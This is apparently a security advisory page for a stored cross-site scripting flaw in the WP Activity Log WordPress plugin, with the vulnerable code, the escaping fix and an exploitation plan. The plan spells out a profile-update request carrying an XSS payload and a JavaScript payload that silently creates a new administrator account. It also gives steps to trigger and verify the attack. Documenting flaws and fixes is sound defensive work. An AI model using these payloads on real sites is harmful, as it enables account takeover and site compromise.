WP Activity Log <= 5.6.3.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting
Description
The WP Activity Log plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.6.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.6.3.1What Changed in the Fix
Changes introduced in v5.6.4
Source Code
WordPress.org SVNThis research plan outlines the exploitation of a Stored Cross-Site Scripting (XSS) vulnerability in **WP Activity Log <= 5.6.3.1**. The vulnerability exists because the plugin fails to sanitize and escape user-controlled metadata (such as profile fields) before rendering it in the Audit Log viewer,…
Show full research plan
This research plan outlines the exploitation of a Stored Cross-Site Scripting (XSS) vulnerability in WP Activity Log <= 5.6.3.1. The vulnerability exists because the plugin fails to sanitize and escape user-controlled metadata (such as profile fields) before rendering it in the Audit Log viewer, specifically within user tooltips.
1. Vulnerability Summary
The vulnerability is located in the WSAL\Helpers\User_Utils::get_tooltip_user_content function within classes/Helpers/class-user-utils.php. This function constructs an HTML string for a tooltip meant to show user details in the activity log. It directly concatenates user properties like first_name, last_name, and user_nicename without applying esc_html() or similar escaping functions.
When an authenticated user (Subscriber or higher) updates their profile with a malicious script, the plugin logs this activity. When an administrator views the activity log and interacts with the entry (e.g., hovering over the user's name), the unsanitized script executes in the administrator's browser context.
2. Attack Vector Analysis
- Vulnerable Sink:
WSAL\Helpers\User_Utils::get_tooltip_user_content(concatenating raw user data into HTML). - Injection Point: WordPress Profile update fields (
first_name,last_name,nickname/user_nicename). - Authentication: Subscriber-level access or higher.
- Preconditions: The WP Activity Log plugin must be active (it logs profile changes by default).
- Target Page: The Activity Log Viewer (
/wp-admin/admin.php?page=wsal-auditlog).
3. Code Flow
- Injection: A Subscriber updates their profile at
/wp-admin/profile.php. - Logging: WP Activity Log's sensors (e.g.,
WP_Content_Sensor) detect the profile change and callWSAL\Controllers\Alert_Manager::trigger_event. - Storage: The event is stored in the
wsal_occurrencestable, and the user's ID/Username is recorded. - Retrieval: An Administrator accesses the Audit Log viewer. The viewer (via
WSAL_Views_AuditLog) prepares the table rows. - Rendering (The Sink): For the "User" column, the plugin generates a tooltip to show more details. It calls
WSAL\Helpers\User_Utils::get_tooltip_user_content($user_object). - Execution:
// classes/Helpers/class-user-utils.php public static function get_tooltip_user_content( $user ) { // ... labels are escaped, but values are NOT $tooltip .= ( ! empty( $user->data->first_name ) ) ? '<strong>' . esc_attr__( 'First name: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->first_name . '</br>' : ''; // $user->data->first_name contains the XSS payload return $tooltip; } - The resulting HTML is sent to the browser and injected into the DOM (typically via an
onmouseoverattribute or a data-attribute handled by JS), triggering the payload.
4. Nonce Acquisition Strategy
This exploit leverages the plugin's monitoring of core WordPress actions. Therefore, the only nonce required is the standard WordPress profile update nonce.
- Navigate to
/wp-admin/profile.phpas the Subscriber. - Extract the nonce using
browser_eval:browser_eval("document.querySelector('#_wpnonce').value") - Perform the profile update via
http_request.
No plugin-specific nonce is required to trigger the logging; the plugin automatically captures the profile change.
5. Exploitation Strategy
- Subscriber Login: Authenticate as a Subscriber user.
- Profile Update (Injection):
- Method: POST
- URL:
/wp-admin/profile.php - Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
action=update&user_id=[SUBSCRIBER_ID]&nickname=attacker&first_name=<img src=x onerror=alert('CVE-2026-56005_XSS')>&_wpnonce=[NONCE]
- Admin Login: Authenticate as an Administrator.
- Trigger Execution:
- Navigate to
/wp-admin/admin.php?page=wsal-auditlog. - Locate the log entry for "User updated their profile" (Alert ID 4001).
- Interact with the "User" column. The XSS may trigger on page load or when hovering over the username, depending on how the plugin enqueues the tooltip HTML.
- Navigate to
6. Test Data Setup
- Users:
- An Administrator user.
- A Subscriber user (Username:
subscriber_vct, Password:password123).
- Plugin Configuration: Ensure "WP Activity Log" is activated and "User Profile" monitoring is enabled (default).
- Environment: WordPress environment with the vulnerable version of the plugin (5.6.3.1).
7. Expected Results
- The profile update request should return a
302redirect (success). - When the Admin visits the Activity Log, the payload
<img src=x onerror=...>will be present in the HTML source or dynamically loaded into the DOM. - A JavaScript alert box with the text
CVE-2026-56005_XSSshould appear.
8. Verification Steps
- Verify DB Storage: Use WP-CLI to confirm the payload is in the user metadata:
wp user get subscriber_vct --field=first_name - Verify Log Entry: Check that the event was logged:
wp db query "SELECT * FROM wp_wsal_occurrences WHERE alert_id = 4001 ORDER BY created_on DESC LIMIT 1" - Confirm Lack of Escaping: Check the response of the Log Viewer page for the raw payload:
http_requestto/wp-admin/admin.php?page=wsal-auditlogand search the response body for the<img src=x...string.
9. Alternative Approaches
- Alternative Injection Fields: If
first_nameis filtered by a WAF, trylast_nameornickname, as all are handled identically inget_tooltip_user_content. - Display Name XSS: If the log viewer uses
User_Utils::get_display_labelwithout escaping in the main table view, the XSS will trigger automatically upon page load for anyone viewing the log. Set the "Display name publicly as" field to the payload inprofile.php. - CSRF via XSS: To demonstrate high impact, use a payload that creates a new admin user:
fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{ let n=h.match(/name="_wpnonce_create-user" value="([^"]+)"/)[1]; fetch('/wp-admin/user-new.php',{method:'POST',body:`action=createuser&user_login=hacked&email=h@cked.com&pass1=Password123!&pass2=Password123!&role=administrator&_wpnonce_create-user=${n}`,headers:{'Content-Type':'application/x-www-form-urlencoded'}}) })
Summary
WP Activity Log versions up to 5.6.3.1 are vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient output escaping of user profile metadata. An authenticated attacker with Subscriber-level access can inject malicious scripts into their profile fields (like first name or nickname), which then execute in the context of an administrator viewing the activity log's user tooltips.
Vulnerable Code
// classes/Helpers/class-user-utils.php:172 $tooltip = '<strong>' . esc_attr__( 'Username: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_login . '</br>'; $tooltip .= ( ! empty( $user->data->first_name ) ) ? '<strong>' . esc_attr__( 'First name: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->first_name . '</br>' : ''; $tooltip .= ( ! empty( $user->data->last_name ) ) ? '<strong>' . esc_attr__( 'Last Name: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->last_name . '</br>' : ''; $tooltip .= '<strong>' . esc_attr__( 'Email: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_email . '</br>'; $tooltip .= '<strong>' . esc_attr__( 'Nickname: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_nicename . '</br></br>';
Security Fix
@@ -169,11 +169,11 @@ return ''; } - $tooltip = '<strong>' . esc_attr__( 'Username: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_login . '</br>'; - $tooltip .= ( ! empty( $user->data->first_name ) ) ? '<strong>' . esc_attr__( 'First name: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->first_name . '</br>' : ''; - $tooltip .= ( ! empty( $user->data->last_name ) ) ? '<strong>' . esc_attr__( 'Last Name: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->last_name . '</br>' : ''; - $tooltip .= '<strong>' . esc_attr__( 'Email: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_email . '</br>'; - $tooltip .= '<strong>' . esc_attr__( 'Nickname: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_nicename . '</br></br>'; + $tooltip = '<strong>' . \esc_attr__( 'Username: ', 'wp-security-audit-log' ) . '</strong>' . \esc_html( $user->data->user_login ) . '</br>'; + $tooltip .= ( ! empty( $user->data->first_name ) ) ? '<strong>' . \esc_attr__( 'First name: ', 'wp-security-audit-log' ) . '</strong>' . \esc_html( $user->data->first_name ) . '</br>' : ''; + $tooltip .= ( ! empty( $user->data->last_name ) ) ? '<strong>' . \esc_attr__( 'Last Name: ', 'wp-security-audit-log' ) . '</strong>' . \esc_html( $user->data->last_name ) . '</br>' : ''; + $tooltip .= '<strong>' . \esc_attr__( 'Email: ', 'wp-security-audit-log' ) . '</strong>' . \esc_html( $user->data->user_email ) . '</br>'; + $tooltip .= '<strong>' . \esc_attr__( 'Nickname: ', 'wp-security-audit-log' ) . '</strong>' . \esc_html( $user->data->user_nicename ) . '</br></br>'; /** * WSAL Filter: `wsal_additional_user_tooltip_content' @@ -185,7 +185,7 @@ * @param string $content Blank string to append to. * @param object $user - User object. */ - $additional_content = apply_filters( 'wsal_additional_user_tooltip_content', '', $user ); + $additional_content = \wp_kses_post( (string) \apply_filters( 'wsal_additional_user_tooltip_content', '', $user ) ); $tooltip .= $additional_content;
Exploit Outline
An attacker with Subscriber-level authentication logs into the WordPress dashboard and navigates to the profile update page (/wp-admin/profile.php). They inject an XSS payload (e.g., <img src=x onerror=alert(1)>) into fields such as 'First Name', 'Last Name', or 'Nickname'. Since the plugin automatically logs profile changes, the malicious script is stored in the activity log metadata. When an Administrator views the Audit Log (/wp-admin/admin.php?page=wsal-auditlog) and interacts with the 'User' column (triggering the unescaped tooltip content), the payload executes in the Administrator's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.